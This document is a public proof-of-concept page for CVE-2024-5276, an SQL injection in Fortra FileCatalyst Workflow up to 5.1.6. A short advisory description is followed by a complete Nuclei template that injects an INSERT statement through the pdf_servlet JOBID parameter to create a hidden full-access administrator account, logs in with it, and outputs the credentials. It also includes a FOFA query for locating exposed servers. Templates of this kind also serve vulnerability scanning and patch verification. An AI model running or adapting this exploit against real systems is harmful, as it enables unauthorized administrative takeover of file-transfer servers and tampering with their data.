CVE-2024-5276: Fortra FileCatalyst Workflow <= v5.1.6 - SQL Injection

2025-08-01 Fortra FileCatalyst Workflow PoC Public

Description

A SQL Injection vulnerability in Fortra FileCatalyst Workflow allows an attacker to modify application data.  Likely impacts include creation of administrative users and deletion or modification of data in the application database. Data exfiltration via SQL injection is not possible using this vulnerability. Successful unauthenticated exploitation requires a Workflow system with anonymous access enabled, otherwise an authenticated user is required. This issue affects all versions of FileCatalyst Workflow from 5.1.6 Build 135 and earlier.

PoC

id: CVE-2024-5276

info:
  name: Fortra FileCatalyst Workflow <= v5.1.6 - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A SQL Injection vulnerability in Fortra FileCatalyst Workflow allows an attacker to modify application data.  Likely impacts include creation of administrative users and deletion or modification of data in the application database. Data exfiltration via SQL injection is not possible using this vulnerability. Successful unauthenticated exploitation requires a Workflow system with anonymous access enabled, otherwise an authenticated user is required. This issue affects all versions of FileCatalyst Workflow from 5.1.6 Build 135 and earlier.
  impact: |
    Attackers can execute SQL injection to create administrative users, delete or modify application database content. Unauthenticated exploitation is possible if anonymous access is enabled.
  remediation: |
    Update Fortra FileCatalyst Workflow to version 5.1.7 Build 136 or later to address the SQL injection vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2024-25
    - https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0
    - https://www.fortra.com/security/advisory/fi-2024-008
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5276
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5276
    cwe-id: CWE-20
    epss-score: 0.90067
    epss-percentile: 0.99787
  metadata:
    max-request: 6
    verified: true
    fofa-query: body="FileCatalyst file transfer solution, easily transfer large files"
  tags: cve,cve2024,sqli,auth-bypass,fortra,filecatalyst,instrusive,sqli,vkev,vuln

variables:
  ctxpath: "workflow"
  username: "{{randstr}}"
  password: '{{randstr_2}}'
  password_enc: "{{to_upper(md5(password))}}"
  payload: "1';INSERT INTO DOCTERA_USERS (USERNAME, PASSWORD, ENCPASSWORD, FIRSTNAME, LASTNAME, COMPANY, ADDRESS, ADDRESS2, CITY, STATE, ALTPHONE, ZIP, COUNTRY, PHONE, FAX, EMAIL, LASTLOGIN, CREATION, PREFERREDSERVER, CREDITCARDTYPE, CREDITCARDNUMBER, CREDITCARDEXPIRY, ACCOUNTSTATUS, USERTYPE, COMMENT, ADMIN, SUPERADMIN, ACCEPTEMAIL, ALLOWHOTFOLDER, PROTOCOL, BANDWIDTH, DIRECTORY, SLOWSTARTRATE, USESLOWSTART, SLOWSTARTAGGRESSIONRATE, BLOCKSIZE, UNITSIZE, NUMENCODERS, NUMFTPSTREAMS, ALLOWUSERBANDWIDTHTUNING, EXPIRYDATE, ALLOWTEMPACCOUNTCREATION, OWNERUSERNAME, USERLEVEL, UPLOADMETHOD, PW_CHANGEABLE, PW_CREATIONDATE, PW_DAYSBEFOREEXPIRE, PW_MUSTCHANGE, PW_USEDPASSWORDS, PW_NUMERRORS) VALUES('{{to_lower(username)}}', NULL, '{{password_enc}}', '{{to_lower(username)}}FirstName', '{{to_lower(username)}}LastName', '', '', '', '', '', '', '', '', '202-404-2400', '', '{{to_lower(username)}}@mydomain.local', 1714014839723, 1714013661166, 'default', '', '', '', 'full access', '', '', 1, 0, 0, 0, 'DEFAULT', '0', 0, '0', 1, '', '', '', '', '', 0, 0, 0, '', 0, 'DEFAULT', 0, 1714014752270, -1, 0, NULL, 0);-- -"

http:
  - raw:
      - |
        GET /{{ctxpath}}/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        group: 1
        name: jsessionid
        regex:
          - 'logon.jsp;jsessionid=([A-Z0-9]+)'
        internal: true

  - raw:
      - |
        GET /{{ctxpath}}/jsp/logon.jsp;jsessionid={{jsessionid}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'logonAnonymous.do'
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: anonurl
        regex:
          - 'href="(.*)" class="btn btn-outline-primary" id="logonAnonymousLink"'
        internal: true

  - raw:
      - |
        GET {{anonurl}} HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        GET /{{ctxpath}}/servlet/pdf_servlet?JOBID={{urlencode(payload)}} HTTP/1.1
        Host: {{Hostname}}

  - raw:
      - |
        GET /{{ctxpath}}/jsp/logon.jsp HTTP/1.1
        Host: {{Hostname}}

    disable-cookie: true
    extractors:
      - type: regex
        part: body
        group: 1
        name: fcweb_token
        regex:
          - 'name="FCWEB.FORM.TOKEN" value="([A-Za-z0-9]+)"'
        internal: true

      - type: regex
        part: body
        group: 1
        name: jsessionid2
        regex:
          - 'logon.jsp;jsessionid=([A-Z0-9]+)'
        internal: true

  - raw:
      - |
        POST /{{ctxpath}}/logon.do HTTP/1.1
        Host: {{Hostname}}
        Cookie: JSESSIONID={{jsessionid2}}
        Content-Type: application/x-www-form-urlencoded

        FCWEB.FORM.TOKEN={{fcweb_token}}&username={{to_lower(username)}}&password={{password}}&submit=Login&

    disable-cookie: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'username/password are not correct'
          - 'Your session timed out.'
        negative: true

      - type: word
        part: body
        words:
          - '<title>FileCatalyst Workflow Administration</title>'
          - '{{to_lower(username)}}'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"USER: "+ username'
          - '"PASS: "+ password'
# digest: 480a0045304302202a3335270f5d9b1b26ff4cf2e408b8ac992b32f6204f1e88bf23650c0f41506e021f40fa8dd99ac61c36f02f34c0d7d9f60c01881365c05ab573867bd153e0e18e:922c64590222798bb761d5b6d8e72950

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